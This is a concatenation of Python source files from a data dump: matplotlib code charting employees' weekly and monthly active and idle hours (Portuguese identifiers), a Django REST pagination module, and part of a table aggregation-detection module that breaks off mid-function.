horaOcioso = listapp[0][3]
horaTotal = listapp[0][4]
dia = listapp[0][5]
dia1 = dia.strftime('%d/%m/%Y')
except:
horaUtil = 0
horaOcioso = 0
horaTotal = 0
dia1 = '-/-/----'
#dia 2
try:
horaUtil1 = listapp1[0][2]
horaOcioso1 = listapp1[0][3]
horaTotal1 = listapp1[0][4]
dia = listapp1[0][5]
dia2 = dia.strftime('%d/%m/%Y')
except:
horaUtil1 = 0
horaOcioso1 = 0
horaTotal1 = 0
dia2 = '-/-/----'
#dia 3
try:
horaUtil2 = listapp2[0][2]
horaOcioso2 = listapp2[0][3]
horaTotal2 = listapp2[0][4]
dia = listapp2[0][5]
dia3 = dia.strftime('%d/%m/%Y')
except:
horaUtil2 = 0
horaOcioso2 = 0
horaTotal2 = 0
dia3 = '-/-/----'
#dia 4
try:
horaUtil3 = listapp3[0][2]
horaOcioso3 = listapp3[0][3]
horaTotal3 = listapp3[0][4]
dia = listapp3[0][5]
dia4 = dia.strftime('%d/%m/%Y')
except:
horaUtil3 = 0
horaOcioso3 = 0
horaTotal3 = 0
dia4 = '-/-/----'
#dia 5
try:
horaUtil4 = listapp4[0][2]
horaOcioso4 = listapp4[0][3]
horaTotal4 = listapp4[0][4]
dia = listapp4[0][5]
dia5 = dia.strftime('%d/%m/%Y')
except:
horaUtil4 = 0
horaOcioso4 = 0
horaTotal4 = 0
dia5 = '-/-/----'
#dia 6
try:
horaUtil5 = listapp5[0][2]
horaOcioso5 = listapp5[0][3]
horaTotal5 = listapp5[0][4]
dia = listapp5[0][5]
dia6 = dia.strftime('%d/%m/%Y')
except:
horaUtil5 = 0
horaOcioso5 = 0
horaTotal5 = 0
dia6 = '-/-/----'
#dia 7
try:
horaUtil6 = listapp6[0][2]
horaOcioso6 = listapp6[0][3]
horaTotal6 = listapp6[0][4]
dia = listapp6[0][5]
dia7 = dia.strftime('%d/%m/%Y')
except:
horaUtil6 = 0
horaOcioso6 = 0
horaTotal6 = 0
dia7 = '-/-/----'
#pegando o valor 'outro' de todos os dias
try:
for i in range(0,len(listapp)): #dia 1
if listapp[i][0] == 'outro':
porcentagemOcioso=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp1)): #dia 2
if listapp[i][0] == 'outro':
porcentagemOcioso1=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp2)): #dia 3
if listapp[i][0] == 'outro':
porcentagemOcioso2=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp3)): #dia 4
if listapp[i][0] == 'outro':
porcentagemOcioso3=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp4)): #dia 5
if listapp[i][0] == 'outro':
porcentagemOcioso4=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp5)): #dia 6
if listapp[i][0] == 'outro':
porcentagemOcioso5=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp6)): #dia 7
if listapp[i][0] == 'outro':
porcentagemOcioso6=(listapp[i][1])
except:
None
#Calculo das porcentagens e horas para cada dia
#Dia 1
try:
porcentagemUtil = 100 - porcentagemOcioso
horaUtilGrafic = round((horaUtil*porcentagemUtil)/100,2) #cor Azul
horaOutroGrafic = round((horaUtil-horaUtilGrafic),2) #cor vermelha
except:
porcentagemUtil = 0
horaUtilGrafic = 0
horaOutroGrafic = 0
#Dia 2
try:
porcentagemUtil1 = 100 - porcentagemOcioso1
horaUtilGrafic1 = round((horaUtil1*porcentagemUtil1)/100,2) #cor Azul
horaOutroGrafic1 = round((horaUtil1-horaUtilGrafic1),2) #cor vermelha
except:
porcentagemUtil1 = 0
horaUtilGrafic1 = 0
horaOutroGrafic1 = 0
#Dia 3
try:
porcentagemUtil2 = 100 - porcentagemOcioso2
horaUtilGrafic2 = round((horaUtil2*porcentagemUtil2)/100,2) #cor Azul
horaOutroGrafic2 = round((horaUtil2-horaUtilGrafic2),2) #cor vermelha
except:
porcentagemUtil2 = 0
horaUtilGrafic2 = 0
horaOutroGrafic2 = 0
#Dia 4
try:
porcentagemUtil3 = 100 - porcentagemOcioso3
horaUtilGrafic3 = round((horaUtil3*porcentagemUtil3)/100,2) #cor Azul
horaOutroGrafic3 = round((horaUtil3-horaUtilGrafic3),2) #cor vermelha
except:
porcentagemUtil3 = 0
horaUtilGrafic3 = 0
horaOutroGrafic3 = 0
#Dia 5
try:
porcentagemUtil4 = 100 - porcentagemOcioso4
horaUtilGrafic4 = round((horaUtil4*porcentagemUtil4)/100,2) #cor Azul
horaOutroGrafic4 = round((horaUtil4-horaUtilGrafic4),2) #cor vermelha
except:
porcentagemUtil4 = 0
horaUtilGrafic4 = 0
horaOutroGrafic4 = 0
#Dia 6
try:
porcentagemUtil5 = 100 - porcentagemOcioso5
horaUtilGrafic5 = round((horaUtil5*porcentagemUtil5)/100,2) #cor Azul
horaOutroGrafic5 = round((horaUtil5-horaUtilGrafic5),2) #cor vermelha
except:
porcentagemUtil5= 0
horaUtilGrafic5 = 0
horaOutroGrafic5 = 0
#Dia 7
try:
porcentagemUtil6 = 100 - porcentagemOcioso6
horaUtilGrafic6 = round((horaUtil6*porcentagemUtil6)/100,2) #cor Azul
horaOutroGrafic6 = round((horaUtil6-horaUtilGrafic6),2) #cor vermelha
except:
porcentagemUtil6 = 0
horaUtilGrafic6 = 0
horaOutroGrafic6 = 0
#concatenando os dados obtidos até o momendo para a formação de uma list para efetuação do gráfico
arrayUtil = []
arrayOutro = []
arrayOcioso = []
arrayDia = []
arrayUtil.extend((horaUtilGrafic,horaUtilGrafic1,horaUtilGrafic2,horaUtilGrafic3,horaUtilGrafic4,horaUtilGrafic5,horaUtilGrafic6))
arrayOutro.extend((horaOutroGrafic,horaOutroGrafic1,horaOutroGrafic2,horaOutroGrafic3,horaOutroGrafic4,horaOutroGrafic5,horaOutroGrafic6))
arrayOcioso.extend((horaOcioso,horaOcioso1,horaOcioso2,horaOcioso3,horaOcioso4,horaOcioso5,horaOcioso6))
arrayDia.extend((dia1,dia2,dia3,dia4,dia5,dia6,dia7))
#variaveis np para formação dos gráficos
Util = np.array(arrayUtil)
Outro = np.array(arrayOutro)
Ocioso = np.array(arrayOcioso)
Dia = np.array(arrayDia)
#configuração das variáveis np para efetuação dos gráficos
plt.figure(figsize=(12,5))
plt.bar(Dia,Util,color='blue')
plt.bar(Dia,Outro,color='yellow',bottom=Util)
plt.bar(Dia,Ocioso,color='red', bottom=Util+Outro)
#Adicionando legenda as barras
plt.xlabel('Dias')
plt.ylabel('Horas')
try:
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} Cargo: {lista_usuario[0][1]}")
except:
plt.title("Rendimento semanal\nNome: ---- Cargo: ----")
plt.legend(('Apps relevantes','Apps NÃO relevantes','tempo ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
else:
None
def grafico_periodoSemanal5():
usuario = 4
lista_usuario = usuario_Diario1(usuario)
listapp = processingData_Semanal_1(usuario)
listapp1 = processingData_Semanal_2(usuario)
listapp2 = processingData_Semanal_3(usuario)
listapp3 = processingData_Semanal_4(usuario)
listapp4 = processingData_Semanal_5(usuario)
listapp5 = processingData_Semanal_6(usuario)
listapp6 = processingData_Semanal_7(usuario)
#constantes dos dias
if not listapp == None and listapp1 == None and listapp2 == None and listapp3 == None and listapp4 == None and listapp5 == None and listapp6 == None:
#dia 1
try:
horaUtil = listapp[0][2]
horaOcioso = listapp[0][3]
horaTotal = listapp[0][4]
dia = listapp[0][5]
dia1 = dia.strftime('%d/%m/%Y')
except:
horaUtil = 0
horaOcioso = 0
horaTotal = 0
dia1 = '-/-/----'
#dia 2
try:
horaUtil1 = listapp1[0][2]
horaOcioso1 = listapp1[0][3]
horaTotal1 = listapp1[0][4]
dia = listapp1[0][5]
dia2 = dia.strftime('%d/%m/%Y')
except:
horaUtil1 = 0
horaOcioso1 = 0
horaTotal1 = 0
dia2 = '-/-/----'
#dia 3
try:
horaUtil2 = listapp2[0][2]
horaOcioso2 = listapp2[0][3]
horaTotal2 = listapp2[0][4]
dia = listapp2[0][5]
dia3 = dia.strftime('%d/%m/%Y')
except:
horaUtil2 = 0
horaOcioso2 = 0
horaTotal2 = 0
dia3 = '-/-/----'
#dia 4
try:
horaUtil3 = listapp3[0][2]
horaOcioso3 = listapp3[0][3]
horaTotal3 = listapp3[0][4]
dia = listapp3[0][5]
dia4 = dia.strftime('%d/%m/%Y')
except:
horaUtil3 = 0
horaOcioso3 = 0
horaTotal3 = 0
dia4 = '-/-/----'
#dia 5
try:
horaUtil4 = listapp4[0][2]
horaOcioso4 = listapp4[0][3]
horaTotal4 = listapp4[0][4]
dia = listapp4[0][5]
dia5 = dia.strftime('%d/%m/%Y')
except:
horaUtil4 = 0
horaOcioso4 = 0
horaTotal4 = 0
dia5 = '-/-/----'
#dia 6
try:
horaUtil5 = listapp5[0][2]
horaOcioso5 = listapp5[0][3]
horaTotal5 = listapp5[0][4]
dia = listapp5[0][5]
dia6 = dia.strftime('%d/%m/%Y')
except:
horaUtil5 = 0
horaOcioso5 = 0
horaTotal5 = 0
dia6 = '-/-/----'
#dia 7
try:
horaUtil6 = listapp6[0][2]
horaOcioso6 = listapp6[0][3]
horaTotal6 = listapp6[0][4]
dia = listapp6[0][5]
dia7 = dia.strftime('%d/%m/%Y')
except:
horaUtil6 = 0
horaOcioso6 = 0
horaTotal6 = 0
dia7 = '-/-/----'
#pegando o valor 'outro' de todos os dias
try:
for i in range(0,len(listapp)): #dia 1
if listapp[i][0] == 'outro':
porcentagemOcioso=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp1)): #dia 2
if listapp[i][0] == 'outro':
porcentagemOcioso1=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp2)): #dia 3
if listapp[i][0] == 'outro':
porcentagemOcioso2=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp3)): #dia 4
if listapp[i][0] == 'outro':
porcentagemOcioso3=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp4)): #dia 5
if listapp[i][0] == 'outro':
porcentagemOcioso4=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp5)): #dia 6
if listapp[i][0] == 'outro':
porcentagemOcioso5=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp6)): #dia 7
if listapp[i][0] == 'outro':
porcentagemOcioso6=(listapp[i][1])
except:
None
#Calculo das porcentagens e horas para cada dia
#Dia 1
try:
porcentagemUtil = 100 - porcentagemOcioso
horaUtilGrafic = round((horaUtil*porcentagemUtil)/100,2) #cor Azul
horaOutroGrafic = round((horaUtil-horaUtilGrafic),2) #cor vermelha
except:
porcentagemUtil = 0
horaUtilGrafic = 0
horaOutroGrafic = 0
#Dia 2
try:
porcentagemUtil1 = 100 - porcentagemOcioso1
horaUtilGrafic1 = round((horaUtil1*porcentagemUtil1)/100,2) #cor Azul
horaOutroGrafic1 = round((horaUtil1-horaUtilGrafic1),2) #cor vermelha
except:
porcentagemUtil1 = 0
horaUtilGrafic1 = 0
horaOutroGrafic1 = 0
#Dia 3
try:
porcentagemUtil2 = 100 - porcentagemOcioso2
horaUtilGrafic2 = round((horaUtil2*porcentagemUtil2)/100,2) #cor Azul
horaOutroGrafic2 = round((horaUtil2-horaUtilGrafic2),2) #cor vermelha
except:
porcentagemUtil2 = 0
horaUtilGrafic2 = 0
horaOutroGrafic2 = 0
#Dia 4
try:
porcentagemUtil3 = 100 - porcentagemOcioso3
horaUtilGrafic3 = round((horaUtil3*porcentagemUtil3)/100,2) #cor Azul
horaOutroGrafic3 = round((horaUtil3-horaUtilGrafic3),2) #cor vermelha
except:
porcentagemUtil3 = 0
horaUtilGrafic3 = 0
horaOutroGrafic3 = 0
#Dia 5
try:
porcentagemUtil4 = 100 - porcentagemOcioso4
horaUtilGrafic4 = round((horaUtil4*porcentagemUtil4)/100,2) #cor Azul
horaOutroGrafic4 = round((horaUtil4-horaUtilGrafic4),2) #cor vermelha
except:
porcentagemUtil4 = 0
horaUtilGrafic4 = 0
horaOutroGrafic4 = 0
#Dia 6
try:
porcentagemUtil5 = 100 - porcentagemOcioso5
horaUtilGrafic5 = round((horaUtil5*porcentagemUtil5)/100,2) #cor Azul
horaOutroGrafic5 = round((horaUtil5-horaUtilGrafic5),2) #cor vermelha
except:
porcentagemUtil5= 0
horaUtilGrafic5 = 0
horaOutroGrafic5 = 0
#Dia 7
try:
porcentagemUtil6 = 100 - porcentagemOcioso6
horaUtilGrafic6 = round((horaUtil6*porcentagemUtil6)/100,2) #cor Azul
horaOutroGrafic6 = round((horaUtil6-horaUtilGrafic6),2) #cor vermelha
except:
porcentagemUtil6 = 0
horaUtilGrafic6 = 0
horaOutroGrafic6 = 0
#concatenando os dados obtidos até o momendo para a formação de uma list para efetuação do gráfico
arrayUtil = []
arrayOutro = []
arrayOcioso = []
arrayDia = []
arrayUtil.extend((horaUtilGrafic,horaUtilGrafic1,horaUtilGrafic2,horaUtilGrafic3,horaUtilGrafic4,horaUtilGrafic5,horaUtilGrafic6))
arrayOutro.extend((horaOutroGrafic,horaOutroGrafic1,horaOutroGrafic2,horaOutroGrafic3,horaOutroGrafic4,horaOutroGrafic5,horaOutroGrafic6))
arrayOcioso.extend((horaOcioso,horaOcioso1,horaOcioso2,horaOcioso3,horaOcioso4,horaOcioso5,horaOcioso6))
arrayDia.extend((dia1,dia2,dia3,dia4,dia5,dia6,dia7))
#variaveis np para formação dos gráficos
Util = np.array(arrayUtil)
Outro = np.array(arrayOutro)
Ocioso = np.array(arrayOcioso)
Dia = np.array(arrayDia)
#configuração das variáveis np para efetuação dos gráficos
plt.figure(figsize=(12,5))
plt.bar(Dia,Util,color='blue')
plt.bar(Dia,Outro,color='yellow',bottom=Util)
plt.bar(Dia,Ocioso,color='red', bottom=Util+Outro)
#Adicionando legenda as barras
plt.xlabel('Dias')
plt.ylabel('Horas')
try:
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} Cargo: {lista_usuario[0][1]}")
except:
plt.title("Rendimento semanal\nNome: ---- Cargo: ----")
plt.legend(('Apps relevantes','Apps NÃO relevantes','tempo ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
else:
None
def graficoMensal_1():
usuario = 0
list_loadApp = graficoMensal(usuario)
lista_usuario = usuario_Diario1(usuario)
horaUtil = []
horaOcioso = []
data = []
try:
for i in range(0,len(list_loadApp)):
if not list_loadApp[i][0] == None or list_loadApp[i][1] == None or list_loadApp[i][2] == None:
horaUtil.append(list_loadApp[i][0])
horaOcioso.append(list_loadApp[i][1])
dia = list_loadApp[i][2]
diaStr = dia.strftime('%d/%m')
data.append(diaStr)
#preenchimento das variaveis para formação so gráfico
Util = np.array(horaUtil)
Ocioso = np.array(horaOcioso)
Dia = np.array(data)
plt.figure(figsize=(12,5))
plt.plot(Dia,Util)
plt.plot(Dia,Ocioso)
plt.xlabel('Dias')
plt.ylabel('Horas')
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]}")
plt.legend(('Tempo Ativo','Tempo Ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
except:
None
def graficoMensal_2():
usuario = 1
list_loadApp = graficoMensal(usuario)
lista_usuario = usuario_Diario1(usuario)
horaUtil = []
horaOcioso = []
data = []
try:
for i in range(0,len(list_loadApp)):
if not list_loadApp[i][0] == None or list_loadApp[i][1] == None or list_loadApp[i][2] == None:
horaUtil.append(list_loadApp[i][0])
horaOcioso.append(list_loadApp[i][1])
dia = list_loadApp[i][2]
diaStr = dia.strftime('%d/%m')
data.append(diaStr)
#preenchimento das variaveis para formação so gráfico
Util = np.array(horaUtil)
Ocioso = np.array(horaOcioso)
Dia = np.array(data)
plt.figure(figsize=(12,5))
plt.plot(Dia,Util)
plt.plot(Dia,Ocioso)
plt.xlabel('Dias')
plt.ylabel('Horas')
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]}")
plt.legend(('Tempo Ativo','Tempo Ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
except:
None
def graficoMensal_3():
usuario = 2
list_loadApp = graficoMensal(usuario)
lista_usuario = usuario_Diario1(usuario)
horaUtil = []
horaOcioso = []
data = []
try:
for i in range(0,len(list_loadApp)):
if not list_loadApp[i][0] == None or list_loadApp[i][1] == None or list_loadApp[i][2] == None:
horaUtil.append(list_loadApp[i][0])
horaOcioso.append(list_loadApp[i][1])
dia = list_loadApp[i][2]
diaStr = dia.strftime('%d/%m')
data.append(diaStr)
#preenchimento das variaveis para formação so gráfico
Util = np.array(horaUtil)
Ocioso = np.array(horaOcioso)
Dia = np.array(data)
plt.figure(figsize=(12,5))
plt.plot(Dia,Util)
plt.plot(Dia,Ocioso)
plt.xlabel('Dias')
plt.ylabel('Horas')
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]}")
plt.legend(('Tempo Ativo','Tempo Ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
except:
None
def graficoMensal_4():
usuario = 3
list_loadApp = graficoMensal(usuario)
lista_usuario = usuario_Diario1(usuario)
horaUtil = []
horaOcioso = []
data = []
try:
for i in range(0,len(list_loadApp)):
if not list_loadApp[i][0] == None or list_loadApp[i][1] == None or list_loadApp[i][2] == None:
horaUtil.append(list_loadApp[i][0])
horaOcioso.append(list_loadApp[i][1])
dia = list_loadApp[i][2]
diaStr = dia.strftime('%d/%m')
data.append(diaStr)
#preenchimento das variaveis para formação so gráfico
Util = np.array(horaUtil)
Ocioso = np.array(horaOcioso)
Dia = np.array(data)
plt.figure(figsize=(12,5))
plt.plot(Dia,Util)
plt.plot(Dia,Ocioso)
plt.xlabel('Dias')
plt.ylabel('Horas')
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]}")
plt.legend(('Tempo Ativo','Tempo Ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
except:
None
def graficoMensal_5():
usuario = 4
list_loadApp = graficoMensal(usuario)
lista_usuario = usuario_Diario1(usuario)
horaUtil = []
horaOcioso = []
data = []
try:
for i in range(0,len(list_loadApp)):
if not list_loadApp[i][0] == None or list_loadApp[i][1] == None or list_loadApp[i][2] == None:
horaUtil.append(list_loadApp[i][0])
horaOcioso.append(list_loadApp[i][1])
dia = list_loadApp[i][2]
diaStr = dia.strftime('%d/%m')
data.append(diaStr)
#preenchimento das variaveis para formação so gráfico
Util = np.array(horaUtil)
Ocioso = np.array(horaOcioso)
Dia = np.array(data)
plt.figure(figsize=(12,5))
plt.plot(Dia,Util)
plt.plot(Dia,Ocioso)
plt.xlabel('Dias')
plt.ylabel('Horas')
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]}")
plt.legend(('Tempo Ativo','Tempo Ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
except:
None | 34.944211 | 154 | 0.522334 | 5,693 | 58,252 | 5.302125 | 0.044441 | 0.018552 | 0.009939 | 0.018221 | 0.981812 | 0.980421 | 0.979261 | 0.969521 | 0.969521 | 0.969521 | 0 | 0.061075 | 0.367575 | 58,252 | 1,667 | 155 | 34.944211 | 0.758279 | 0.059861 | 0 | 0.976174 | 0 | 0.010512 | 0.060017 | 0.011916 | 0 | 0 | 0 | 0.0006 | 0 | 1 | 0.010512 | false | 0 | 0.00911 | 0 | 0.030133 | 0.001402 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9dadf2d1d5568eb1cf7000ea230bb18ad861fde8 | 661 | py | Python | No1_scilib/apps/website/pagination.py | souno-io/libgen-django | 5a9bbaec8dfdaf04df38ca1b5162fa33a4eb3049 | [
"Apache-2.0"
] | 1 | 2021-02-26T08:45:22.000Z | 2021-02-26T08:45:22.000Z | No1_scilib/apps/website/pagination.py | souno-io/libgen-django | 5a9bbaec8dfdaf04df38ca1b5162fa33a4eb3049 | [
"Apache-2.0"
] | null | null | null | No1_scilib/apps/website/pagination.py | souno-io/libgen-django | 5a9bbaec8dfdaf04df38ca1b5162fa33a4eb3049 | [
"Apache-2.0"
] | null | null | null | from rest_framework.pagination import PageNumberPagination
class NonFictionPagination(PageNumberPagination):
# 指定每一页的个数
page_size = 10
# 可以让前端来设置page_szie参数来指定每页个数
page_size_query_param = 'page_size'
# 设置页码的参数
page_query_param = 'page'
class ScimagPagination(PageNumberPagination):
# 指定每一页的个数
page_size = 10
# 可以让前端来设置page_szie参数来指定每页个数
page_size_query_param = 'page_size'
# 设置页码的参数
page_query_param = 'page'
class FictionPagination(PageNumberPagination):
# 指定每一页的个数
page_size = 10
# 可以让前端来设置page_szie参数来指定每页个数
page_size_query_param = 'page_size'
# 设置页码的参数
page_query_param = 'page'
| 22.793103 | 58 | 0.738275 | 66 | 661 | 7.015152 | 0.287879 | 0.155508 | 0.181425 | 0.233261 | 0.760259 | 0.760259 | 0.760259 | 0.760259 | 0.760259 | 0.760259 | 0 | 0.011364 | 0.20121 | 661 | 28 | 59 | 23.607143 | 0.86553 | 0.198185 | 0 | 0.692308 | 0 | 0 | 0.075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
9db084d04f87bf761a5d01e6fe00862c9fc93c19 | 14,480 | py | Python | aggrdet/aggrecol/strategy.py | lanchiang/AggreCol | 7143b315806ac4582ecca9638b4ee81170fc8607 | [
"Apache-2.0"
] | null | null | null | aggrdet/aggrecol/strategy.py | lanchiang/AggreCol | 7143b315806ac4582ecca9638b4ee81170fc8607 | [
"Apache-2.0"
] | null | null | null | aggrdet/aggrecol/strategy.py | lanchiang/AggreCol | 7143b315806ac4582ecca9638b4ee81170fc8607 | [
"Apache-2.0"
] | null | null | null | # Created by lan at 2021/4/21
import itertools
import time
from abc import ABC
from copy import deepcopy
import numpy as np
from aggrecol.phase import IndividualAggregationDetection
from aggrecol.pruning import prune_conflict_ar_cands
from elements import Cell, CellIndex
from helpers import AggregationDirection, AggregationOperator
from tree import AggregationRelationForest
class AdjacentListAggregationDetection(IndividualAggregationDetection, ABC):
def detect_row_wise_aggregations(self):
start_time = time.time()
_file = deepcopy(self.file)
_file.aggregation_detection_result = {}
error_level = self.error_level_setting[self.operator]
collected_results = []
for number_format, formatted_file_values in _file.valid_number_formats.items():
# Todo: just for fair timeout comparison
if number_format != _file.number_format:
continue
numeric_line_indices = _file.numeric_line_indices.get(number_format, None)
file_cells = np.full_like(formatted_file_values, fill_value=formatted_file_values, dtype=object)
for index, value in np.ndenumerate(formatted_file_values):
file_cells[index] = Cell(CellIndex(index[0], index[1]), value)
forests_by_rows = [AggregationRelationForest(row_cells) for row_cells in file_cells]
forest_by_row_index = {}
for index, forest in enumerate(forests_by_rows):
forest_by_row_index[index] = forest
collected_results_by_row = {}
while True:
ar_cands_by_row = {index: (self.detect_proximity_aggregation_relations(forest, error_level), forest) for index, forest in
forest_by_row_index.items()}
self.mend_adjacent_aggregations(ar_cands_by_row, formatted_file_values, error_level, axis=0)
# get all non empty ar_cands
ar_cands_by_row = list(filter(lambda x: bool(x[0]), ar_cands_by_row.values()))
if not ar_cands_by_row:
break
forest_indexed_by_ar_cand = {}
for ar_cands, forest in ar_cands_by_row:
for ar_cand in ar_cands:
forest_indexed_by_ar_cand[ar_cand[0]] = forest
ar_cands_by_row, forests_by_rows = list(zip(*ar_cands_by_row))
ar_cands_by_column_index = prune_conflict_ar_cands(ar_cands_by_row, numeric_line_indices, self.coverage, axis=0)
ar_cands_by_column_index = {k: v for k, v in ar_cands_by_column_index.items() if
len(numeric_line_indices[1][str(k[0])]) > 0 and
len(v) / len(numeric_line_indices[1][str(k[0])]) >= self.coverage}
if not bool(ar_cands_by_column_index):
break
for _, ar_cands in ar_cands_by_column_index.items():
for i in range(len(ar_cands)):
ar_cands[i] = (ar_cands[i], forest_indexed_by_ar_cand[ar_cands[i]])
for ar_column_indices, ar_cands_w_forest in ar_cands_by_column_index.items():
[forest.consume_relation(ar_cand) for ar_cand, forest in ar_cands_w_forest]
for signature in ar_cands_by_column_index.keys():
[forest.remove_consumed_signature(signature, axis=0) for forest in forest_by_row_index.values()]
if self.operator == AggregationOperator.AVERAGE.value:
break
for _, forest in forest_by_row_index.items():
results_dict = forest.results_to_str(self.operator, AggregationDirection.ROW_WISE.value)
collected_results_by_row[forest] = results_dict
collected_results = list(itertools.chain(*[results_dict for _, results_dict in collected_results_by_row.items()]))
_file.aggregation_detection_result[number_format] = collected_results
end_time = time.time()
exec_time = end_time - start_time
_file.exec_time['RowWiseDetection'] = exec_time
return _file
# return collected_results, exec_time
def detect_column_wise_aggregations(self):
start_time = time.time()
_file = deepcopy(self.file)
_file.aggregation_detection_result = {}
error_level = self.error_level_setting[self.operator]
for number_format, formatted_file_values in _file.valid_number_formats.items():
# Todo: just for fair timeout comparison
if number_format != _file.number_format:
continue
numeric_line_indices = _file.numeric_line_indices.get(number_format, None)
file_cells = np.full_like(formatted_file_values, fill_value=formatted_file_values, dtype=object)
for index, value in np.ndenumerate(formatted_file_values):
file_cells[index] = Cell(CellIndex(index[0], index[1]), value)
forests_by_columns = [AggregationRelationForest(file_cells[:, i]) for i in range(file_cells.shape[1])]
forest_by_column_index = {}
for index, forest in enumerate(forests_by_columns):
forest_by_column_index[index] = forest
collected_results_by_column = {}
while True:
ar_cands_by_column = {index: (self.detect_proximity_aggregation_relations(forest, error_level), forest) for index, forest in
forest_by_column_index.items()}
self.mend_adjacent_aggregations(ar_cands_by_column, formatted_file_values, error_level, axis=1)
# get all non empty ar_cands
ar_cands_by_column = list(filter(lambda x: bool(x[0]), ar_cands_by_column.values()))
if not ar_cands_by_column:
break
forest_indexed_by_ar_cand = {}
for ar_cands, forest in ar_cands_by_column:
for ar_cand in ar_cands:
forest_indexed_by_ar_cand[ar_cand[0]] = forest
ar_cands_by_column, forests_by_columns = list(zip(*ar_cands_by_column))
ar_cands_by_row_index = prune_conflict_ar_cands(ar_cands_by_column, numeric_line_indices, self.coverage, axis=1)
ar_cands_by_row_index = {k: v for k, v in ar_cands_by_row_index.items() if
len(numeric_line_indices[0][str(k[0])]) > 0 and
len(v) / len(numeric_line_indices[0][str(k[0])]) >= self.coverage}
if not bool(ar_cands_by_row_index):
break
for _, ar_cands in ar_cands_by_row_index.items():
for i in range(len(ar_cands)):
ar_cands[i] = (ar_cands[i], forest_indexed_by_ar_cand[ar_cands[i]])
# extended_ar_cands_w_forest = []
for ar_row_indices, ar_cands_w_forest in ar_cands_by_row_index.items():
[forest.consume_relation(ar_cand) for ar_cand, forest in ar_cands_w_forest]
for signature in ar_cands_by_row_index.keys():
# [forest.remove_consumed_aggregator(ar_cand) for ar_cand, forest in ar_cands_w_forest]
[forest.remove_consumed_signature(signature, axis=1) for forest in forest_by_column_index.values()]
if self.operator == AggregationOperator.AVERAGE.value:
break
for _, forest in forest_by_column_index.items():
results_dict = forest.results_to_str(self.operator, AggregationDirection.COLUMN_WISE.value)
collected_results_by_column[forest] = results_dict
collected_results = list(itertools.chain(*[results_dict for _, results_dict in collected_results_by_column.items()]))
_file.aggregation_detection_result[number_format] = collected_results
end_time = time.time()
exec_time = end_time - start_time
_file.exec_time['ColumnWiseDetection'] = exec_time
return _file
class SlidingWindowAggregationDetection(IndividualAggregationDetection, ABC):
WINDOW_SIZE = 10
def detect_row_wise_aggregations(self):
start_time = time.time()
_file = deepcopy(self.file)
_file.aggregation_detection_result = {}
error_level = self.error_level_setting[self.operator]
for number_format, formatted_file_values in _file.valid_number_formats.items():
# Todo: just for fair timeout comparison
if number_format != _file.number_format:
continue
numeric_line_indices = _file.numeric_line_indices.get(number_format, None)
file_cells = np.full_like(formatted_file_values, fill_value=formatted_file_values, dtype=object)
for index, value in np.ndenumerate(formatted_file_values):
file_cells[index] = Cell(CellIndex(index[0], index[1]), value)
forests_by_rows = [AggregationRelationForest(row_cells) for row_cells in file_cells]
forest_by_row_index = {}
for index, forest in enumerate(forests_by_rows):
forest_by_row_index[index] = forest
ar_cands_by_row = [(self.detect_proximity_aggregation_relations(forest, error_level), forest) for forest in
forests_by_rows]
# get all non empty ar_cands
ar_cands_by_row = list(filter(lambda x: bool(x[0]), ar_cands_by_row))
if not ar_cands_by_row:
collected_results = []
else:
self.mend_adjacent_aggregations(ar_cands_by_row, formatted_file_values, error_level, axis=0)
forest_indexed_by_ar_cand = {}
for ar_cands, forest in ar_cands_by_row:
for ar_cand in ar_cands:
forest_indexed_by_ar_cand[ar_cand[0]] = forest
ar_cands_by_row, forests_by_rows = list(zip(*ar_cands_by_row))
ar_cands_by_column_index = prune_conflict_ar_cands(ar_cands_by_row, numeric_line_indices, self.coverage, axis=0)
ar_cands_by_column_index = {k: v for k, v in ar_cands_by_column_index.items() if
len(numeric_line_indices[1][str(k[0])]) > 0 and
len(v) / len(numeric_line_indices[1][str(k[0])]) >= self.coverage}
collected_results = []
if bool(ar_cands_by_column_index):
for _, ar_cands in ar_cands_by_column_index.items():
for ar_cand in ar_cands:
aggregator = str(ar_cand.aggregator.cell_index)
aggregatees = [str(aggregatee.cell_index) for aggregatee in ar_cand.aggregatees]
operator = ar_cand.operator
